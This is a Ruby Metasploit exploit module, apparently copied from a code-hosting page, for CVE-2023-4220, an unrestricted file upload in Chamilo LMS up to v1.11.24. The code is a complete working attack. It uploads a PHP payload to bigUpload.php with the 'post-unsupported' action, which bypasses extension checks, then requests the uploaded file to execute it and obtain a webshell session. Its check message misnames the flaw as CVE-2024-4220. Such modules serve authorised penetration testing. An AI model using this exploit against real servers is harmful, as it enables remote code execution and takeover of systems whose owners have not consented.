Spencer McIntyre
118 lines
3.7 KiB
Ruby
118 lines
3.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
class UploadFileError < StandardError; end
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Chamilo v1.11.24 Unrestricted File Upload PHP Webshell',
|
|
'Description' => %q{
|
|
Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24
|
|
a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to
|
|
`post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to:
|
|
`/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist
|
|
by default.
|
|
},
|
|
'Author' => [
|
|
'Ngo Wei Lin', # discovery
|
|
'jheysel-r7' # module
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://starlabs.sg/advisories/23/23-4220/'],
|
|
[ 'URL', 'https://github.com/H4cking4All/CVE-2023-4220/tree/main'],
|
|
[ 'CVE', '2023-4220']
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
[
|
|
'PHP',
|
|
{
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP
|
|
}
|
|
],
|
|
],
|
|
'DisclosureDate' => '2023-11-28',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE, ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
|
|
'Reliability' => [ REPEATABLE_SESSION, ]
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/files/')
|
|
)
|
|
|
|
return CheckCode::Safe('The directory /main/inc/lib/javascript/bigupload/files/ does not exist on the target') if res&.code == 404
|
|
|
|
print_good('The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable.')
|
|
test_file_content = rand_text_alphanumeric(8)
|
|
test_file_name = rand_text_alphanumeric(8)
|
|
|
|
begin
|
|
upload_file(test_file_content, test_file_name)
|
|
rescue UploadFileError => e
|
|
return CheckCode::Safe("#{e.class}:#{e}")
|
|
end
|
|
|
|
CheckCode::Vulnerable('File upload was successful (CVE-2024-4220 was exploited successfully).')
|
|
end
|
|
|
|
def upload_file(file_contents, file_name)
|
|
vars_form_data = [
|
|
{
|
|
'name' => 'bigUploadFile',
|
|
'data' => file_contents,
|
|
'filename' => file_name,
|
|
'mime_type' => 'application/octet-stream'
|
|
}
|
|
]
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/inc/bigUpload.php'),
|
|
'vars_form_data' => vars_form_data,
|
|
'vars_get' => {
|
|
'action' => 'post-unsupported'
|
|
}
|
|
)
|
|
|
|
raise UploadFileError, 'The file upload failed.' unless res&.code == 200 && res&.body == 'The file has successfully been uploaded.'
|
|
|
|
register_file_for_cleanup(file_name)
|
|
end
|
|
|
|
def exploit
|
|
file_contents = payload.encoded
|
|
file_name = "#{Rex::Text.rand_text_alpha(8..16)}.php"
|
|
|
|
begin
|
|
upload_file(file_contents, file_name)
|
|
rescue UploadFileError => e
|
|
fail_with(Failure::UnexpectedReply, "#{e.class}:#{e}")
|
|
end
|
|
|
|
send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri('/main/inc/lib/javascript/bigupload/files', file_name)
|
|
})
|
|
end
|
|
end
|